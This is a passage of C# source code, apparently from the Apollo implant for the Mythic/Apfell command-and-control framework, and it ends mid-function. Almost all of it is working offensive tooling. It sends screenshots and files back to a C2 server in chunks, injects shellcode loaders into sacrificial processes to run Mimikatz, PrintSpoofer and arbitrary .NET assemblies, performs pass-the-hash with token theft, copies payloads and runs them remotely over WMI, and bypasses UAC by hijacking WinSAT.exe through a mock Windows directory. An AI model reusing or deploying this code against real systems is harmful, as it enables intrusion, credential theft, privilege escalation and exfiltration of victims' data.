/// <summary> /// Send a chunked screenshot response to the Apfell server. /// </summary> /// <param name="implant">Agent that will be sending the data.</param> /// <param name="task">Task associated with the screenshot.</param> /// <param name="screenshot">Byte array of data that holds a chunked screenshot response.</param> private static void SendCapture(Agent implant, Job job, byte[] screenshot) { Task task = job.Task; try // Try block for HTTP request { // Send total number of chunks to Apfell server // Number of chunks will always be one for screen capture task // Receive file ID in response // Send number of chunks associated with task to Apfell server // Response will have the file ID to send file with int totalChunks = (int)Math.Ceiling((double)screenshot.Length / (double)implant.Profile.ChunkSize); ApolloTaskResponse registrationMessage = new ApolloTaskResponse() { task_id = task.id, total_chunks = totalChunks, full_path = task.id }; //SCTaskResp initial = new SCTaskResp(task.id, "{\"total_chunks\": " + total_chunks + ", \"task\": \"" + task.id + "\"}"); job.AddOutput(registrationMessage); MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(task.id); if (resp.file_id == "") { job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was: {0}", resp.ToString())); return; } // Convert chunk to base64 blob and create our FileChunk for (int i = 0; i < totalChunks; i++) { ApolloTaskResponse fc = new ApolloTaskResponse(); fc.chunk_num = i + 1; fc.file_id = resp.file_id; fc.total_chunks = -1; byte[] screenshotChunk = new byte[implant.Profile.ChunkSize]; if (implant.Profile.ChunkSize > screenshot.Length - (i * implant.Profile.ChunkSize)) { Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, screenshot.Length - (i * implant.Profile.ChunkSize)); } else { Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, implant.Profile.ChunkSize); } fc.chunk_data = Convert.ToBase64String(screenshot); fc.task_id = task.id; job.AddOutput(fc); Inbox.GetMessage(task.id); //Debug.WriteLine($"[-] SendCapture - RESPONSE: {implant.Profile.SendResponse(response)}"); } } catch (Exception e) // Catch exceptions from HTTP requests { // Something failed, so we need to tell the server about it job.SetError($"Error: {e.Message}"); } }
/// <summary> /// Execute an arbitrary C# assembly in a sacrificial process /// that respects the current caller's token. /// </summary> /// <param name="job"> /// Job associated with this task. job.Task.parameters /// should contain a JSON structure with key "assembly" that /// has an associated Apfell file ID to pull from the server. /// This assembly is position-independent code generated from /// donut with arguments baked in. /// </param> /// <param name="agent">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; string sacrificialApplication; string commandLine = ""; string command = ""; string loaderStubID; string pipeName; JObject json; List <string> output = new List <string>(); /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; try { json = (JObject)JsonConvert.DeserializeObject(task.parameters); } catch (Exception ex) { task.status = "error"; task.message = $"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"; return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); } catch (Exception ex) { task.status = "error"; task.message = $"Failed to fetch loader stub for PrintSpoofer. Reason: {ex.Message}.\nParameters:\n{task.parameters}"; return; } if (loaderStub == null || loaderStub.Length == 0) { job.Task.status = "error"; job.Task.message = String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID); return; } pipeName = json.Value <string>("pipe_name"); if (string.IsNullOrEmpty(pipeName)) { job.Task.status = "error"; job.Task.message = "No pipe name was given to DLL to start the named pipe server."; return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { // Technically we don't need the named pipe IO, but this class already has implemented what we need for // various token impersonation things, so why not. //if (implant.HasAlternateToken()) //{ // sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, true, false); //} //else if (implant.HasCredentials()) //{ // sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, false, true); //} //else //{ // sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED); //} // Deal with tokens later.... sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; //= new SCTaskResp(job.Task.id, false, String.Format("Sacrificial process spawned with PID: {0}", sacrificialProcess.PID), ""); //implant.TryPostResponse(response); ////byte[] tempBytes = File.ReadAllBytes("C:\\Users\\Public\\helloworldsc_noargs.bin"); if (sacrificialProcess.Inject(loaderStub)) { //sacrificialProcess.CreateNewRemoteThread(tempBytes); //sacrificialProcess.ResumeThread(); // bool bRet = sacrificialProcess.StillActive(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); command = json.Value <string>("command"); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { job.AddOutput(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } job.SetComplete(); } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in PrintSpoofer (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in PrintSpoofer. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
public static void PassTheHash(Job job, Agent implant) { Task task = job.Task; PassTheHashParameters taskParams; string sacrificialApplication; string commandLine = ""; string command = "\"sekurlsa::pth /user:{0} /domain:{1} /ntlm:{2} /run:{3}\""; string loaderStubID; string pipeName; int pidOfPTHProccess = -1; JObject json; List <string> output = new List <string>(); MythicCredential cred; try { taskParams = JsonConvert.DeserializeObject <PassTheHashParameters>(job.Task.parameters); } catch (Exception ex) { job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"); return; } cred = taskParams.credential; if (string.IsNullOrEmpty(cred.account) || string.IsNullOrEmpty(cred.credential)) { job.SetError("Username and password are required for pth."); return; } if (cred.credential_type != "hash") { job.SetError($"pth built-in can only be used with hash-type (e.g., RC4 or NTLM) credentials, and was given credentials of type {cred.credential_type}"); return; } string userFQDN = cred.account; if (string.IsNullOrEmpty(cred.realm)) { job.SetError("pth requires a valid realm or domain to be set."); return; } command = string.Format(command, new object[] { cred.account, cred.realm, cred.credential, taskParams.program }); byte[] loaderStub; /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, taskParams.loader_stub_id, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", taskParams.loader_stub_id)); return; } pipeName = taskParams.pipe_name; if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { //sacrificialProcess.CreateNewRemoteThread(tempBytes); //sacrificialProcess.ResumeThread(); // bool bRet = sacrificialProcess.StillActive(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { if (line.Contains(" PID ")) { string[] parts = line.Trim().Split(' '); if (parts.Length != 5) { job.SetError($"No PID could be enumerated from the line: {line}"); break; } else { if (!int.TryParse(parts[4].Trim(), out pidOfPTHProccess)) { job.SetError($"Failed to parse PID from: {parts[1].Trim()}"); break; } } } output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { job.AddOutput(output.ToArray()); output.Clear(); } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } if (pidOfPTHProccess != -1) { IntPtr procHandle; IntPtr hStolenToken; try { procHandle = System.Diagnostics.Process.GetProcessById((int)Convert.ToInt32(pidOfPTHProccess)).Handle; } catch (Exception ex) { throw new Exception($"Failed to acquire handle to process {pidOfPTHProccess}. Reason: {ex.Message}"); } // Stores the handle for the original process token hStolenToken = IntPtr.Zero; // Stores the handle for our duplicated token // Get handle to target process token bool bRet = OpenProcessToken( procHandle, // ProcessHandle (uint)(TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query), // desiredAccess out IntPtr tokenHandle); // TokenHandle if (!bRet) { throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}"); //return; }// Check if OpenProcessToken was successful if (!CredentialManager.SetImpersonatedPrimaryToken(tokenHandle)) { throw new Exception($"Failed to set new primary token: {Marshal.GetLastWin32Error()}"); } // Duplicate token as stolenHandle bRet = DuplicateTokenEx( tokenHandle, // hExistingToken TokenAccessLevels.MaximumAllowed, /*.TOKEN_QUERY | TokenAccessRights.TOKEN_DUPLICATE | TokenAccessRights.TOKEN_ASSIGN_PRIMARY,*/ // dwDesiredAccess IntPtr.Zero, // lpTokenAttributes TokenImpersonationLevel.Impersonation, // ImpersonationLevel TOKEN_TYPE.TokenImpersonation, // TokenType out hStolenToken); // phNewToken // end testing if (!bRet) // Check if DuplicateTokenEx was successful { throw new Exception($"Failed to duplicate token handle: {Marshal.GetLastWin32Error()}"); } ////bRet = ImpersonateLoggedOnUser(tokenHandle); //if (!bRet) //{ // task.status = "error"; // task.message = $"Failed to impersonate logged on user: {Marshal.GetLastWin32Error()}"; //} //CloseHandle(tokenHandle); //CloseHandle(procHandle); if (!CredentialManager.SetImpersonatedImpersonationToken(hStolenToken)) { throw new Exception($"Failed to impersonate user. Reason: {Marshal.GetLastWin32Error()}"); } else { WindowsIdentity ident = new WindowsIdentity(hStolenToken); job.SetComplete($"\n\nSuccessfully impersonated {ident.Name}!"); ident.Dispose(); } } else { job.SetError("Failed to acquire PID of PTH process."); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in PTH (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in PTH. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
/// <summary> /// Download a file to the remote Apfell server. /// </summary> /// <param name="job"> /// Job associated with this task. /// File to download is in job.Task.parameters /// </param> /// <param name="implant">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; DownloadParameters dlParams; string filepath = ""; string host = ""; string computerName = ""; try { computerName = Environment.GetEnvironmentVariable("COMPUTERNAME"); } catch { } try { dlParams = JsonConvert.DeserializeObject <DownloadParameters>(task.parameters); } catch (Exception ex) { job.SetError($"Failed to deserialize "); return; } host = dlParams.host; if (host != "") { if (host.ToLower() != "localhost" && host != "127.0.0.1" && host != "." && host != "::::" && host.ToLower() != computerName.ToLower()) { filepath = $"\\\\{host}\\{dlParams.file}"; } else { filepath = dlParams.file; host = computerName; } } else { filepath = dlParams.file; host = computerName; } try // Try block for file upload task { // Get file info to determine file size FileInfo fileInfo = new FileInfo(filepath); long size = fileInfo.Length; // Determine number of 512kb chunks to send long total_chunks = size / 512000; // HACK: Dumb workaround because longs don't have a ceiling operation if (total_chunks == 0) { total_chunks = 1; } // Send number of chunks associated with task to Apfell server // Response will have the file ID to send file with ApolloTaskResponse registrationMessage = new ApolloTaskResponse() { task_id = task.id, total_chunks = total_chunks, full_path = fileInfo.FullName, host = host }; job.AddOutput(registrationMessage); MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id); if (resp.file_id == "") { job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString())); return; } // Send file in chunks for (int i = 0; i < total_chunks; i++) { byte[] chunk = null; long pos = i * 512000; // We need to use a FileStream in case our file size in bytes is larger than an Int32 // With a filestream, we can specify a position as a long, and then use Read() normally using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { fs.Position = pos; // If this is the last chunk, size will be the remaining bytes if (i == total_chunks - 1) { chunk = new byte[size - (i * 512000)]; int chunkSize = chunk.Length; fs.Read(chunk, 0, chunkSize); } // Otherwise we'll read 512kb from the file else { chunk = new byte[512000]; fs.Read(chunk, 0, 512000); } } // Convert chunk to base64 blob and create our FileChunk ApolloTaskResponse fc = new ApolloTaskResponse() { chunk_num = i + 1, file_id = resp.file_id, task_id = job.Task.id, chunk_data = Convert.ToBase64String(chunk), total_chunks = -1 }; job.AddOutput(fc); } job.SetComplete($"Finished downloading file {filepath}"); } catch (Exception e) // Catch any exception from file upload { job.SetError($"Exception occurred while downloading file: {e.Message}"); } }
public static void Execute(Job job, Agent agent) { WMIProcessExecuteParameters parameters = (WMIProcessExecuteParameters)JsonConvert.DeserializeObject <WMIProcessExecuteParameters>(job.Task.parameters); ApolloTaskResponse resp; MythicCredential cred = new MythicCredential(); bool success; byte[] templateFile; string username = null; string password = null; string formattedRemotePath = null; string fileGuid = Guid.NewGuid().ToString(); if (string.IsNullOrEmpty(parameters.computer)) { job.SetError("No computer name passed."); return; } if (string.IsNullOrEmpty(parameters.template)) { job.SetError("No template was given to download."); return; } if (!string.IsNullOrEmpty(parameters.credential)) { cred = JsonConvert.DeserializeObject <MythicCredential>(parameters.credential); } string remotePath = parameters.remote_path; if (string.IsNullOrEmpty(parameters.remote_path)) { formattedRemotePath = $"\\\\{parameters.computer}\\C$\\Users\\Public\\{fileGuid}.exe"; remotePath = $"C:\\Users\\Public\\{fileGuid}.exe"; } else { if (Directory.Exists(parameters.remote_path)) { parameters.remote_path = Path.Combine(parameters.remote_path, $"{fileGuid}.exe"); } remotePath = parameters.remote_path; //formattedRemotePath = $"\\\\{parameters.computer}\\{parameters.remote_path.Replace(':', '$')}"; } try { templateFile = agent.Profile.GetFile(job.Task.id, parameters.template, agent.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Error fetching remote file: {ex.Message}"); return; } if (templateFile == null || templateFile.Length == 0) { job.SetError($"File ID {parameters.template} was of zero length."); return; } try { File.WriteAllBytes(remotePath, templateFile); resp = new ApolloTaskResponse(job.Task, $"Copied payload to {remotePath}"); job.AddOutput(resp); } catch (Exception ex) { job.SetError($"Remote file copy to {remotePath} failed. Reason: {ex.Message}"); return; } if (!string.IsNullOrEmpty(cred.account)) { username = cred.account; if (!string.IsNullOrEmpty(cred.realm)) { username = cred.realm + "\\" + username; } password = cred.credential; } success = WMIUtils.RemoteWMIExecute(parameters.computer, remotePath, out string[] results, username, password); job.SetComplete(string.Join("\n", results)); }
static void ExecuteAssembly(Job job, Agent implant) { Task task = job.Task; string sacrificialApplication; string commandLine = ""; string loaderStubID; string pipeName; string assemblyName; string[] assemblyArguments; byte[] assemblyBytes = null; //List<string> output = new List<string>(); /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ SacrificialProcesses.SacrificialProcess sacrificialProcess = null; JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters); assemblyName = json.Value <string>("assembly_name"); if (!loadedAssemblies.ContainsKey(assemblyName)) { job.SetError(String.Format("Assembly {0} has not been loaded. Please load the assembly with the 'register_assembly' command.", assemblyName)); return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (pipeName == "") { job.SetError("No pipe name was given to send the assembly to execute."); return; } assemblyArguments = SplitCommandLine(json.Value <string>("assembly_arguments")); assemblyBytes = GetAssembly(assemblyName); var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); ApolloTaskResponse artifactResp; if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; if (sacrificialProcess.Inject(loaderStub)) { NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); // Method 1 BinaryFormatter bf = new BinaryFormatter(); bf.Binder = new AssemblyJobMessageBinder(); bf.Serialize(pipeClient, new AssemblyJobMessage() { AssemblyBytes = assemblyBytes, Args = assemblyArguments, }); try { using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); while (!sr.EndOfStream) { var line = sr.ReadLine(); if (line != null) { job.AddOutput(line); } } } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); return; } job.SetComplete(""); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in execute-assembly (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in execute-assembly. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
static void AssemblyInject(Job job, Agent implant) { Task task = job.Task; string commandLine = ""; string loaderStubID; string pipeName; string assemblyName; string[] assemblyArguments; int pid = -1; byte[] assemblyBytes = null; string processName = ""; /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * "pid: 1024 * } */ JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters); assemblyName = json.Value <string>("assembly_name"); if (!loadedAssemblies.ContainsKey(assemblyName)) { job.SetError(String.Format("Assembly {0} has not been loaded. Please load the assembly with the 'loadassembly' command.", assemblyName)); return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (pipeName == "") { job.SetError("No pipe name was given to send the assembly to execute."); return; } pid = json.Value <int>("pid"); if (pid == null || pid < 0) { job.SetError("Failed to parse PID."); return; } job.ProcessID = pid; try { var tempProc = System.Diagnostics.Process.GetProcessById(pid); processName = tempProc.ProcessName; } catch (Exception ex) { job.SetError($"Could not retrieve information on PID {pid}. Reason: {ex.Message}"); return; } assemblyArguments = SplitCommandLine(json.Value <string>("assembly_arguments")); assemblyBytes = GetAssembly(assemblyName); try { var injectionType = Injection.InjectionTechnique.GetInjectionTechnique(); var injectionHandler = (Injection.InjectionTechnique)Activator.CreateInstance(injectionType, new object[] { loaderStub, (uint)pid }); //Injection.CreateRemoteThreadInjection crt = new Injection.CreateRemoteThreadInjection(loaderStub, (uint)pid); if (injectionHandler.Inject()) { NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); //assemblyBytes = File.ReadAllBytes("C:\\Users\\windev\\Desktop\\Seatbelt.exe"); //assemblyArguments = new string[] { "user" }; // Method 1 BinaryFormatter bf = new BinaryFormatter(); bf.Binder = new AssemblyJobMessageBinder(); bf.Serialize(pipeClient, new AssemblyJobMessage() { AssemblyBytes = assemblyBytes, Args = assemblyArguments, }); try { List <string> output = new List <string>(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); while (!sr.EndOfStream) { var line = sr.ReadLine(); if (line != null) { job.AddOutput(line); } } } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } job.SetComplete(""); } } catch (Exception ex) { job.SetError($"Error while injecting assembly: {ex.Message}"); } }
/// <summary> /// Run an arbitrary executable with command line arguments or /// run a shell command via cmd.exe /c. /// </summary> /// <param name="job"> /// Job associated with this task. If the task is "shell" then /// the application to launch will be cmd.exe with job.Task.parameters /// specifying the shell command to execute. Otherwise, the application /// to launch is given by the first space-delimited argument in /// job.Task.parameters. /// </param> /// <param name="implant">Agent associated with this job.Task.</param> public static void Execute(Job job, Agent implant) { SacrificialProcesses.SacrificialProcess sacrificialProcess = null; string applicationName; string commandLine = ""; // Probably can implement some argument spoofing stuff down the line string cmdString; ApolloTaskResponse response; string originalParams = job.Task.parameters.Trim(); string[] split = SplitCommandLine(job.Task.parameters.Trim()); //applicationName = split[0]; if (job.Task.command == "shell") { applicationName = "cmd.exe"; commandLine += String.Format("/c \"{0}\"", split[0]); } else { applicationName = split[0]; } if (split.Length > 1) { int firstIndex = originalParams.IndexOf(split[0]); string subsequentArgs = ""; switch (firstIndex) { case 0: subsequentArgs = originalParams.Substring(split[0].Length).Trim(); break; case 1: if (originalParams[0] == '"' && originalParams[split[0].Length + 1] != '"') { job.SetError($"Command line is of unexpected format. Expected {split[0]} to be encapsulated in quotes in the original command, but got {originalParams}"); return; } else if (originalParams[0] == '\'' && originalParams[split[0].Length + 1] != '\'') { job.SetError($"Command line is of unexpected format. Expected {split[0]} to be encapsulated in quotes in the original command, but got {originalParams}"); return; } else { subsequentArgs = originalParams.Substring(split[0].Length + 2).Trim(); } break; default: job.SetError($"Invalid command line format. Expected first command line argument to be program or program enclosed in quotes, but instead got {split[0]}"); return; } if (commandLine != "") { commandLine += String.Format(" {0}", subsequentArgs); } else { commandLine = subsequentArgs; } cmdString = String.Format("{0} {1}", applicationName, commandLine); } else if (commandLine != "") { cmdString = String.Format("{0} {1}", applicationName, commandLine); } else { cmdString = applicationName; } try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(applicationName, commandLine); sacrificialProcess.OutputDataReceived = delegate(string data) { job.AddOutput(data); }; sacrificialProcess.ErrorDataReceived = delegate(string data) { job.AddOutput(data); }; if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; sacrificialProcess.WaitForExit(); } else { job.SetError($"Failed to start sacrificial process. GetLastError(): {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in executing \"{0}\" (PID: {1}). Reason: {2}", cmdString, sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in executing \"{0}\". Reason: {1}", cmdString, ex.Message)); } } if (sacrificialProcess != null) { if (sacrificialProcess.ExitCode == 0 && sacrificialProcess.PID != 0) { job.SetComplete(String.Format("Process executed \"{0}\" with PID {1} and returned exit code {2}", cmdString, sacrificialProcess.PID, sacrificialProcess.ExitCode)); } else { job.SetError($"Unknown error. Exit code: {sacrificialProcess.ExitCode} from PID: {sacrificialProcess.PID}"); } } }
public static void Execute(Job job, Agent implant) { Task task = job.Task; string computer = task.parameters.Trim(); if (string.IsNullOrEmpty(computer)) { job.SetError("No computer given to list."); return; } try { NetShareInformation[] results = GetComputerShares(computer); if (results.Length > 0) { foreach (NetShareInformation share in results) { DirectoryInfo pathDir; try { pathDir = new DirectoryInfo($"\\\\{share.ComputerName}\\{share.ShareName}"); } catch (Exception ex) { continue; } FileBrowserResponse resp; if (share.Readable) { resp = new FileBrowserResponse() { host = share.ComputerName, is_file = false, permissions = GetPermissions(pathDir), name = pathDir.Name, parent_path = pathDir.Parent != null ? pathDir.Parent.FullName : "", success = true, access_time = pathDir.LastAccessTimeUtc.ToString(), modify_time = pathDir.LastWriteTimeUtc.ToString(), size = 0, files = new FileInformation[0] }; } else { resp = new FileBrowserResponse() { host = share.ComputerName, is_file = false, permissions = GetPermissions(pathDir), name = pathDir.Name, parent_path = pathDir.Parent != null ? pathDir.Parent.FullName : "", success = true, access_time = "", modify_time = "", size = 0, files = new FileInformation[0] }; } job.AddOutput(resp); } } job.SetComplete(results); } catch (Exception ex) { job.SetError($"Failed to list shares. Reason: {ex.Message}"); } }
public static void Execute(Job job, Agent agent) { Task task = job.Task; string path = task.parameters; BypassUacParams args = JsonConvert.DeserializeObject <BypassUacParams>(task.parameters); var payloadBytes = agent.Profile.GetFile(task.id, args.Payload, agent.Profile.ChunkSize); var bypassUacDllBytes = agent.Profile.GetFile(task.id, args.BypassDll, agent.Profile.ChunkSize); if (payloadBytes == null || payloadBytes.Length == 0) { job.SetError($"Could not retrieve payload bytes: null or length is 0."); return; } if (bypassUacDllBytes == null || bypassUacDllBytes.Length == 0) { job.AddOutput($"Could not retrieve bypass DLL bytes: null or length is 0."); return; } //Disable filesystem redirection IntPtr wow64Value = IntPtr.Zero; Wow64DisableWow64FsRedirection(ref wow64Value); if (!File.Exists(@"C:\Windows\system32\WinSAT.exe")) { job.SetError($"WinSAT.exe not found in the System32 folder. Bypassing not possible."); Wow64RevertWow64FsRedirection(wow64Value); return; } try { File.WriteAllBytes(Environment.ExpandEnvironmentVariables(args.TargetPath), payloadBytes); } catch (Exception e) { job.SetError($"Failed to write file to {args.TargetPath}. Reason: {e.Message}"); Wow64RevertWow64FsRedirection(wow64Value); return; } var windir = @"C:\Windows "; try { CreateMockDirectory(windir, @"WinSAT.exe", @"WINMM.dll", bypassUacDllBytes); ShellExecute(windir + "\\System32\\WinSAT.exe", "mem -maxt 1"); Thread.Sleep(2000); } catch (Exception e) { job.SetError($"Error executing bypass. Reason: {e.Message}"); Wow64RevertWow64FsRedirection(wow64Value); return; } var cleanupFailed = new List <string>(); if (!DeleteFileW(windir + @"\System32\winsat.exe")) { cleanupFailed.Add(windir + @"\System32\winsat.exe"); } if (!DeleteFileW(windir + @"\System32\WINMM.dll")) { cleanupFailed.Add(windir + @"\System32\WINMM.dll"); } if (!RemoveDirectory(@"\\?\" + windir + @"\System32\")) { cleanupFailed.Add(@"\\?\" + windir + @"\System32\"); } if (!RemoveDirectory(@"\\?\" + windir + @"\")) { cleanupFailed.Add(@"\\?\" + windir + @"\"); } Wow64RevertWow64FsRedirection(wow64Value); if (cleanupFailed.Any()) { job.SetError("BypassUac executed successfully. Failed to cleanup the following files: " + String.Join(", ", cleanupFailed.ToArray())); } else { job.SetComplete("BypassUac executed successfully"); } }
/// <summary> /// Execute an arbitrary C# assembly in a sacrificial process /// that respects the current caller's token. /// </summary> /// <param name="job"> /// Job associated with this task. job.Task.parameters /// should contain a JSON structure with key "assembly" that /// has an associated Apfell file ID to pull from the server. /// This assembly is position-independent code generated from /// donut with arguments baked in. /// </param> /// <param name="agent">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; string sacrificialApplication; string commandLine = ""; string command = ""; string loaderStubID; string pipeName; JObject json; List <string> output = new List <string>(); /* * Response from the server should be of the form: * { * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "command": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; try { json = (JObject)JsonConvert.DeserializeObject(task.parameters); } catch (Exception ex) { job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"); return; } command = json.Value <string>("command"); if (string.IsNullOrEmpty(command)) { job.SetError("Require one or more commands to give to Mimikatz."); return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } if (implant.architecture == "x64") { sacrificialApplication = 